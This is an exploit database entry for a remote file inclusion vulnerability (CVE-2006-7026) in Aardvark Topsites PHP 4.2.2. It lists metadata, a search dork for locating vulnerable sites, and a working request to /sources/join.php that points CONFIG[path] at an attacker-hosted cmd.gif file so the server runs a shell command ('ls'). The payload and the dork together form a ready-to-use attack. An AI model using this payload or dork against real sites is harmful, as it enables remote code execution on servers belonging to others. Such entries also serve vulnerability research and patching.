Aardvark Topsites PHP 4.2.2 - 'path' Remote File Inclusion

Author: [Oo]
type: webapps
platform: php
port: 
date_added: 2006-04-29 
date_updated: 2016-07-20 
verified: 1 
codes: OSVDB-37337;CVE-2006-7026 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comtopsitesphp-4.2.2.zip

Title: Aardvark Topsites PHP 4.2.2 remote file inclusion
URL: http://www.aardvarktopsitesphp.com/
Dork: "Powered By Aardvark Topsites PHP 4.2.2"

Exploit: /sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-30]